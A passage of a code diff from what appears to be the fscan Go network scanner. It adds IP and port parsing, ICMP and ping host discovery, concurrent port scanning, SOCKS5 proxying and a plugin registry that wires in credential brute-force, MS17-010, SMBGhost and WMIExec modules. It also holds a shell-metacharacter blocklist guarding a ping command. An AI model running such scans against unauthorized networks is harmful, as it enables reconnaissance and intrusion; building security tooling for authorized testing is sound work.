strconv.Itoa((num>>16)&0xff) + "." +
strconv.Itoa((num>>8)&0xff) + "." +
strconv.Itoa((num)&0xff)
allIP = append(allIP, ip)
}
fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1])
}
return allIP
}
// IPRange 计算CIDR的起始IP和结束IP
func IPRange(c *net.IPNet) string {
// 获取起始IP
start := c.IP.String()
// 获取子网掩码
mask := c.Mask
// 计算广播地址(结束IP)
bcst := make(net.IP, len(c.IP))
copy(bcst, c.IP)
// 通过位运算计算最大IP地址
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
// 返回"起始IP-结束IP"格式的字符串
result := fmt.Sprintf("%s-%s", start, end)
fmt.Printf("[*] CIDR范围: %s\n", result)
return result
}
// Readipfile 从文件中按行读取IP地址
func Readipfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行处理IP
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
// 解析IP:端口格式
text := strings.Split(line, ":")
if len(text) == 2 {
port := strings.Split(text[1], " ")[0]
num, err := strconv.Atoi(port)
if err != nil || num < 1 || num > 65535 {
fmt.Printf("[!] 忽略无效端口: %s\n", line)
continue
}
// 解析带端口的IP地址
hosts := ParseIPs(text[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
}
fmt.Printf("[*] 已解析IP端口组合: %s\n", line)
} else {
// 解析纯IP地址
hosts := ParseIPs(line)
content = append(content, hosts...)
fmt.Printf("[*] 已解析IP地址: %s\n", line)
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
fmt.Printf("[!] 读取文件时出错: %v\n", err)
return content, err
}
fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content))
return content, nil
}
// RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string {
// 使用map存储不重复的元素
temp := make(map[string]struct{})
var result []string
// 遍历并去重
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// parseIP8 解析/8网段的IP地址
func parseIP8(ip string) []string {
// 去除CIDR后缀获取基础IP
realIP := ip[:len(ip)-2]
testIP := net.ParseIP(realIP)
if testIP == nil {
fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP)
return nil
}
// 获取/8网段的第一段
ipRange := strings.Split(ip, ".")[0]
var allIP []string
fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange)
// 遍历所有可能的第二、三段
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
// 添加常用网关IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
// 随机采样不同范围的IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
}
}
fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP))
return allIP
}
// RandInt 生成指定范围内的随机整数
func RandInt(min, max int) int {
// 参数验证
if min >= max || min == 0 || max == 0 {
return max
}
// 生成随机数
return rand.Intn(max-min) + min
}

View File

@ -1,32 +1,46 @@
package common package Common
import ( import (
"fmt"
"sort"
"strconv" "strconv"
"strings" "strings"
) )
func ParsePort(ports string) (scanPorts []int) { // ParsePort 解析端口配置字符串为端口号列表
func ParsePort(ports string) []int {
if ports == "" { if ports == "" {
return return nil
} }
var scanPorts []int
slices := strings.Split(ports, ",") slices := strings.Split(ports, ",")
// 处理每个端口配置
for _, port := range slices { for _, port := range slices {
port = strings.TrimSpace(port) port = strings.TrimSpace(port)
if port == "" { if port == "" {
continue continue
} }
// 处理预定义端口组
if PortGroup[port] != "" { if PortGroup[port] != "" {
port = PortGroup[port] groupPorts := ParsePort(PortGroup[port])
scanPorts = append(scanPorts, ParsePort(port)...) scanPorts = append(scanPorts, groupPorts...)
fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts)
continue continue
} }
// 处理端口范围
upper := port upper := port
if strings.Contains(port, "-") { if strings.Contains(port, "-") {
ranges := strings.Split(port, "-") ranges := strings.Split(port, "-")
if len(ranges) < 2 { if len(ranges) < 2 {
fmt.Printf("[!] 无效的端口范围格式: %s\n", port)
continue continue
} }
// 确保起始端口小于结束端口
startPort, _ := strconv.Atoi(ranges[0]) startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1]) endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort { if startPort < endPort {
@ -37,27 +51,40 @@ func ParsePort(ports string) (scanPorts []int) {
upper = ranges[0] upper = ranges[0]
} }
} }
// 生成端口列表
start, _ := strconv.Atoi(port) start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper) end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ { for i := start; i <= end; i++ {
if i > 65535 || i < 1 { if i > 65535 || i < 1 {
fmt.Printf("[!] 忽略无效端口: %d\n", i)
continue continue
} }
scanPorts = append(scanPorts, i) scanPorts = append(scanPorts, i)
} }
} }
// 去重并排序
scanPorts = removeDuplicate(scanPorts) scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts))
return scanPorts return scanPorts
} }
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int { func removeDuplicate(old []int) []int {
result := []int{} // 使用map存储不重复的元素
temp := map[int]struct{}{} temp := make(map[int]struct{})
var result []int
// 遍历并去重
for _, item := range old { for _, item := range old {
if _, ok := temp[item]; !ok { if _, exists := temp[item]; !exists {
temp[item] = struct{}{} temp[item] = struct{}{}
result = append(result, item) result = append(result, item)
} }
} }
return result return result
} }

78
Common/Proxy.go Normal file
View File

@ -0,0 +1,78 @@
package Common
import (
"errors"
"fmt"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
)
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
// WrapperTCP 根据配置创建TCP连接
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.Dial(network, address)
if err != nil {
return nil, fmt.Errorf("建立TCP连接失败: %v", err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
}
conn, err := dialer.Dial(network, address)
if err != nil {
return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err)
}
return conn, nil
}
// Socks5Dialer 创建Socks5代理拨号器
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
// 解析代理URL
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err)
}
// 验证代理类型
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New("仅支持socks5代理")
}
address := u.Host
var dialer proxy.Dialer
// 根据认证信息创建代理
if u.User.String() != "" {
// 使用用户名密码认证
auth := proxy.Auth{
User: u.User.Username(),
}
auth.Password, _ = u.User.Password()
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
// 无认证模式
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
}
return dialer, nil
}

24
Common/Types.go Normal file
View File

@ -0,0 +1,24 @@
// Config/types.go
package Common
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Port int // 关联的端口号0表示特殊扫描类型
ScanFunc func(*HostInfo) error // 扫描函数
}
// PluginManager 管理插件注册
var PluginManager = make(map[string]ScanPlugin)
// RegisterPlugin 注册插件
func RegisterPlugin(name string, plugin ScanPlugin) {
PluginManager[name] = plugin
}

410
Core/ICMP.go Normal file
View File

@ -0,0 +1,410 @@
package Core
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string // 存活主机列表
ExistHosts = make(map[string]struct{}) // 已发现主机记录
livewg sync.WaitGroup // 存活检测等待组
)
// CheckLive 检测主机存活状态
func CheckLive(hostslist []string, Ping bool) []string {
// 创建主机通道
chanHosts := make(chan string, len(hostslist))
// 处理存活主机
go handleAliveHosts(chanHosts, hostslist, Ping)
// 根据Ping参数选择检测方式
if Ping {
// 使用ping方式探测
RunPing(hostslist, chanHosts)
} else {
probeWithICMP(hostslist, chanHosts)
}
// 等待所有检测完成
livewg.Wait()
close(chanHosts)
// 输出存活统计信息
printAliveStats(hostslist)
return AliveHosts
}
// handleAliveHosts 处理存活主机信息
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
// 输出存活信息
if !Common.Silent {
protocol := "ICMP"
if isPing {
protocol = "PING"
}
fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol)
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}
// probeWithICMP 使用ICMP方式探测
func probeWithICMP(hostslist []string, chanHosts chan string) {
// 尝试监听本地ICMP
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
return
}
Common.LogError(err)
fmt.Println("[-] 正在尝试无监听ICMP探测...")
// 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
if err == nil {
defer conn2.Close()
RunIcmp2(hostslist, chanHosts)
return
}
Common.LogError(err)
fmt.Println("[-] 当前用户权限不足,无法发送ICMP包")
fmt.Println("[*] 切换为PING方式探测...")
// 降级使用ping探测
RunPing(hostslist, chanHosts)
}
// printAliveStats 打印存活统计信息
func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i])
Common.LogSuccess(output)
}
}
// 输出 /24 网段统计
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i])
Common.LogSuccess(output)
}
}
}
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
// 启动监听协程
go func() {
for {
if endflag {
return
}
// 接收ICMP响应
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
// 发送ICMP请求
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
// 等待响应
start := time.Now()
for {
// 所有主机都已响应则退出
if len(AliveHosts) == len(hostslist) {
break
}
// 根据主机数量设置超时时间
since := time.Since(start)
wait := time.Second * 6
if len(hostslist) <= 256 {
wait = time.Second * 3
}
if since > wait {
break
}
}
endflag = true
conn.Close()
}
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
func RunIcmp2(hostslist []string, chanHosts chan string) {
// 控制并发数
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
close(limiter)
}
// icmpalive 检测主机ICMP是否存活
func icmpalive(host string) bool {
startTime := time.Now()
// 建立ICMP连接
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
// 设置超时时间
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
// 构造并发送ICMP请求
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
// 接收ICMP响应
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
// RunPing 使用系统Ping命令并发探测主机存活
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
// 限制并发数为50
limiter := make(chan struct{}, 50)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
}
// ExecCommandPing 执行系统Ping命令检测主机存活
func ExecCommandPing(ip string) bool {
// 过滤黑名单字符
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
for _, char := range forbiddenChars {
if strings.Contains(ip, char) {
return false
}
}
var command *exec.Cmd
// 根据操作系统选择不同的ping命令
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
default: // linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
}
// 捕获命令输出
var outinfo bytes.Buffer
command.Stdout = &outinfo
// 执行命令
if err := command.Start(); err != nil {
return false
}
if err := command.Wait(); err != nil {
return false
}
// 分析输出结果
output := outinfo.String()
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
}
// makemsg 构造ICMP echo请求消息
func makemsg(host string) []byte {
msg := make([]byte, 40)
// 获取标识符
id0, id1 := genIdentifier(host)
// 设置ICMP头部
msg[0] = 8 // Type: Echo Request
msg[1] = 0 // Code: 0
msg[2] = 0 // Checksum高位(待计算)
msg[3] = 0 // Checksum低位(待计算)
msg[4], msg[5] = id0, id1 // Identifier
msg[6], msg[7] = genSequence(1) // Sequence Number
// 计算校验和
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8) // 设置校验和高位
msg[3] = byte(check & 255) // 设置校验和低位
return msg
}
// checkSum 计算ICMP校验和
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
// 按16位累加
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
// 处理奇数长度情况
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
// 将高16位加到低16位
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
// 取反得到校验和
return uint16(^sum)
}
// genSequence 生成ICMP序列号
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8) // 高8位
ret2 := byte(v & 255) // 低8位
return ret1, ret2
}
// genIdentifier 根据主机地址生成标识符
func genIdentifier(host string) (byte, byte) {
return host[0], host[1] // 使用主机地址前两个字节
}
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
// 统计各网段出现次数
segmentCounts := make(map[string]int)
for _, ip := range arrInit {
segments := strings.Split(ip, ".")
if len(segments) != 4 {
continue
}
// 根据flag确定统计B段还是C段
var segment string
if flag {
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
} else {
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
}
segmentCounts[segment]++
}
// 创建副本用于排序
sortMap := make(map[string]int)
for k, v := range segmentCounts {
sortMap[k] = v
}
// 获取TOP N结果
for i := 0; i < length && len(sortMap) > 0; i++ {
maxSegment := ""
maxCount := 0
// 查找当前最大值
for segment, count := range sortMap {
if count > maxCount {
maxCount = count
maxSegment = segment
}
}
// 添加到结果集
arrTop = append(arrTop, maxSegment)
arrLen = append(arrLen, maxCount)
// 从待处理map中删除已处理项
delete(sortMap, maxSegment)
}
return
}

136
Core/PortScan.go Normal file
View File

@ -0,0 +1,136 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"sort"
"sync"
"time"
)
// Addr 表示待扫描的地址
type Addr struct {
ip string // IP地址
port int // 端口号
}
// PortScan 执行端口扫描
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
// 解析端口列表
probePorts := Common.ParsePort(ports)
if len(probePorts) == 0 {
fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports)
return AliveAddress
}
// 排除指定端口
probePorts = excludeNoPorts(probePorts)
// 创建通道
workers := Common.Threads
addrs := make(chan Addr, 100)
results := make(chan string, 100)
var wg sync.WaitGroup
// 接收扫描结果
go collectResults(&AliveAddress, results, &wg)
// 启动扫描协程
for i := 0; i < workers; i++ {
go func() {
for addr := range addrs {
PortConnect(addr, results, timeout, &wg)
wg.Done()
}
}()
}
// 添加扫描目标
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
addrs <- Addr{host, port}
}
}
wg.Wait()
close(addrs)
close(results)
return AliveAddress
}
// collectResults 收集扫描结果
func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) {
for found := range results {
*aliveAddrs = append(*aliveAddrs, found)
wg.Done()
}
}
// PortConnect 尝试连接指定端口
func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp4",
fmt.Sprintf("%s:%v", addr.ip, addr.port),
time.Duration(timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
// 记录开放端口
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
result := fmt.Sprintf("[+] 端口开放 %s", address)
Common.LogSuccess(result)
wg.Add(1)
respondingHosts <- address
}
// NoPortScan 生成端口列表(不进行扫描)
func NoPortScan(hostslist []string, ports string) []string {
var AliveAddress []string
// 解析并排除端口
probePorts := excludeNoPorts(Common.ParsePort(ports))
// 生成地址列表
for _, port := range probePorts {
for _, host := range hostslist {
address := fmt.Sprintf("%s:%d", host, port)
AliveAddress = append(AliveAddress, address)
}
}
return AliveAddress
}
// excludeNoPorts 排除指定的端口
func excludeNoPorts(ports []int) []int {
noPorts := Common.ParsePort(Common.NoPorts)
if len(noPorts) == 0 {
return ports
}
// 使用map过滤端口
temp := make(map[int]struct{})
for _, port := range ports {
temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
// 转换为切片并排序
var newPorts []int
for port := range temp {
newPorts = append(newPorts, port)
}
sort.Ints(newPorts)
return newPorts
}

130
Core/Registry.go Normal file
View File

@ -0,0 +1,130 @@
package Core
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Plugins"
)
func init() {
// 注册标准端口服务扫描
Common.RegisterPlugin("ftp", Common.ScanPlugin{
Name: "FTP",
Port: 21,
ScanFunc: Plugins.FtpScan,
})
Common.RegisterPlugin("ssh", Common.ScanPlugin{
Name: "SSH",
Port: 22,
ScanFunc: Plugins.SshScan,
})
Common.RegisterPlugin("findnet", Common.ScanPlugin{
Name: "FindNet",
Port: 135,
ScanFunc: Plugins.Findnet,
})
Common.RegisterPlugin("netbios", Common.ScanPlugin{
Name: "NetBIOS",
Port: 139,
ScanFunc: Plugins.NetBIOS,
})
Common.RegisterPlugin("smb", Common.ScanPlugin{
Name: "SMB",
Port: 445,
ScanFunc: Plugins.SmbScan,
})
Common.RegisterPlugin("mssql", Common.ScanPlugin{
Name: "MSSQL",
Port: 1433,
ScanFunc: Plugins.MssqlScan,
})
Common.RegisterPlugin("oracle", Common.ScanPlugin{
Name: "Oracle",
Port: 1521,
ScanFunc: Plugins.OracleScan,
})
Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL",
Port: 3306,
ScanFunc: Plugins.MysqlScan,
})
Common.RegisterPlugin("rdp", Common.ScanPlugin{
Name: "RDP",
Port: 3389,
ScanFunc: Plugins.RdpScan,
})
Common.RegisterPlugin("postgres", Common.ScanPlugin{
Name: "PostgreSQL",
Port: 5432,
ScanFunc: Plugins.PostgresScan,
})
Common.RegisterPlugin("redis", Common.ScanPlugin{
Name: "Redis",
Port: 6379,
ScanFunc: Plugins.RedisScan,
})
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
Name: "FastCGI",
Port: 9000,
ScanFunc: Plugins.FcgiScan,
})
Common.RegisterPlugin("memcached", Common.ScanPlugin{
Name: "Memcached",
Port: 11211,
ScanFunc: Plugins.MemcachedScan,
})
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
Name: "MongoDB",
Port: 27017,
ScanFunc: Plugins.MongodbScan,
})
// 注册特殊扫描类型
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
Name: "MS17010",
Port: 445,
ScanFunc: Plugins.MS17010,
})
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
Name: "SMBGhost",
Port: 445,
ScanFunc: Plugins.SmbGhost,
})
Common.RegisterPlugin("web", Common.ScanPlugin{
Name: "WebTitle",
Port: 0,
ScanFunc: Plugins.WebTitle,
})
Common.RegisterPlugin("smb2", Common.ScanPlugin{
Name: "SMBScan2",
Port: 445,
ScanFunc: Plugins.SmbScan2,
})
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
Name: "WMIExec",
Port: 135,
ScanFunc: Plugins.WmiExec,
})
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
Name: "LocalInfo",
Port: 0,
ScanFunc: Plugins.LocalInfoScan,
})
}

204
Core/Scanner.go Normal file
View File

@ -0,0 +1,204 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"strconv"
"strings"
"sync"
)
func Scan(info Common.HostInfo) {
fmt.Println("[*] 开始信息扫描...")
// 本地信息收集模块
if Common.Scantype == "localinfo" {
ch := make(chan struct{}, Common.Threads)
wg := sync.WaitGroup{}
AddScan("localinfo", info, &ch, &wg)
wg.Wait()
Common.LogWG.Wait()
close(Common.Results)
fmt.Printf("[✓] 扫描完成 %v/%v\n", Common.End, Common.Num)
return
}
// 解析目标主机IP
Hosts, err := Common.ParseIP(info.Host, Common.HostFile, Common.NoHosts)
if err != nil {
fmt.Printf("[!] 解析主机错误: %v\n", err)
return
}
// 初始化配置
lib.Inithttp()
ch := make(chan struct{}, Common.Threads)
wg := sync.WaitGroup{}
var AlivePorts []string
if len(Hosts) > 0 || len(Common.HostPort) > 0 {
// ICMP存活性检测
if (Common.NoPing == false && len(Hosts) > 1) || Common.Scantype == "icmp" {
Hosts = CheckLive(Hosts, Common.Ping)
fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts))
if Common.Scantype == "icmp" {
Common.LogWG.Wait()
return
}
}
// 端口扫描策略
AlivePorts = executeScanStrategy(Hosts, Common.Scantype)
// 处理自定义端口
if len(Common.HostPort) > 0 {
AlivePorts = append(AlivePorts, Common.HostPort...)
AlivePorts = Common.RemoveDuplicate(AlivePorts)
Common.HostPort = nil
fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts))
}
// 执行扫描任务
fmt.Println("[*] 开始漏洞扫描...")
for _, targetIP := range AlivePorts {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP)
continue
}
info.Host, info.Ports = hostParts[0], hostParts[1]
executeScanTasks(info, Common.Scantype, &ch, &wg)
}
}
// URL扫描
for _, url := range Common.Urls {
info.Url = url
AddScan("web", info, &ch, &wg)
}
// 等待所有任务完成
wg.Wait()
Common.LogWG.Wait()
close(Common.Results)
fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num)
}
// executeScanStrategy 执行端口扫描策略
func executeScanStrategy(Hosts []string, scanType string) []string {
switch scanType {
case "webonly", "webpoc":
return NoPortScan(Hosts, Common.Ports)
case "hostname":
Common.Ports = "139"
return NoPortScan(Hosts, Common.Ports)
default:
if len(Hosts) > 0 {
ports := PortScan(Hosts, Common.Ports, Common.Timeout)
fmt.Printf("[+] 存活端口数量: %d\n", len(ports))
if scanType == "portscan" {
Common.LogWG.Wait()
return nil
}
return ports
}
}
return nil
}
// executeScanTasks 执行扫描任务
func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) {
if scanType == "all" || scanType == "main" {
// 根据端口选择扫描插件
switch info.Ports {
case "135":
AddScan("findnet", info, ch, wg)
if Common.IsWmi {
AddScan("wmiexec", info, ch, wg)
}
case "445":
AddScan("ms17010", info, ch, wg)
case "9000":
AddScan("web", info, ch, wg)
AddScan("fcgi", info, ch, wg)
default:
// 查找对应端口的插件
for name, plugin := range Common.PluginManager {
if strconv.Itoa(plugin.Port) == info.Ports {
AddScan(name, info, ch, wg)
return
}
}
// 默认执行Web扫描
AddScan("web", info, ch, wg)
}
} else {
// 直接使用指定的扫描类型
AddScan(scanType, info, ch, wg)
}
}
// Mutex用于保护共享资源的并发访问
var Mutex = &sync.Mutex{}
// AddScan 添加扫描任务到并发队列
func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取信号量,控制并发数
*ch <- struct{}{}
// 添加等待组计数
wg.Add(1)
// 启动goroutine执行扫描任务
go func() {
defer func() {
wg.Done() // 完成任务后减少等待组计数
<-*ch // 释放信号量
}()
// 增加总任务数
Mutex.Lock()
Common.Num += 1
Mutex.Unlock()
// 执行扫描
ScanFunc(&scantype, &info)
// 增加已完成任务数
Mutex.Lock()
Common.End += 1
Mutex.Unlock()
}()
}
// ScanFunc 执行扫描插件
func ScanFunc(name *string, info *Common.HostInfo) {
defer func() {
if err := recover(); err != nil {
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
}
}()
// 检查插件是否存在
plugin, exists := Common.PluginManager[*name]
if !exists {
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name)
return
}
// 直接调用扫描函数
if err := plugin.ScanFunc(info); err != nil {
fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
}
}
// IsContain 检查切片中是否包含指定元素
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}

View File

@ -0,0 +1,88 @@
# FScan 插件开发指南
## 1. 创建插件
`Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
```go
package Plugins
import (
"github.com/shadow1ng/fscan/Common"
)
func MyPluginScan(info *Common.HostInfo) error {
// 1. 基础检查
if info == nil {
return errors.New("Invalid host info")
}
// 2. 实现扫描逻辑
result, err := doScan(info)
if err != nil {
return err
}
// 3. 处理结果
if result.Vulnerable {
Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port))
}
return nil
}
```
## 2. 注册插件
`Core/Registry.go` 中注册你的插件:
```go
Common.RegisterPlugin("myplugin", Common.ScanPlugin{
Name: "MyPlugin",
Port: 12345, // 指定端口如果是web类插件可设为0
ScanFunc: Plugins.MyPluginScan,
})
```
## 3. 开发规范
### 插件结构
- 每个插件应当是独立的功能模块
- 使用清晰的函数名和变量名
- 添加必要的注释说明功能和实现逻辑
### 错误处理
```go
// 推荐的错误处理方式
if err != nil {
return fmt.Errorf("plugin_name scan error: %v", err)
}
```
### 日志输出
```go
// 使用内置的日志函数
Common.LogSuccess("发现漏洞")
Common.LogError("扫描错误")
```
## 4. 测试验证
- 编译整个项目确保无错误
- 实际环境测试插件功能
- 验证与其他插件的兼容性
## 5. 提交流程
1. Fork 项目仓库
2. 创建功能分支
3. 提交代码更改
4. 编写清晰的提交信息
5. 创建 Pull Request
## 注意事项
- 遵循 Go 编码规范
- 保证代码可读性和可维护性
- 禁止提交恶意代码
- 做好异常处理和超时控制
- 避免过度消耗系统资源
- 注意信息安全,不要泄露敏感数据

127
Plugins/Base.go Normal file
View File

@ -0,0 +1,127 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"net"
)
// ReadBytes 从连接读取数据直到EOF或错误
func ReadBytes(conn net.Conn) ([]byte, error) {
size := 4096 // 缓冲区大小
buf := make([]byte, size)
var result []byte
var lastErr error
// 循环读取数据
for {
count, err := conn.Read(buf)
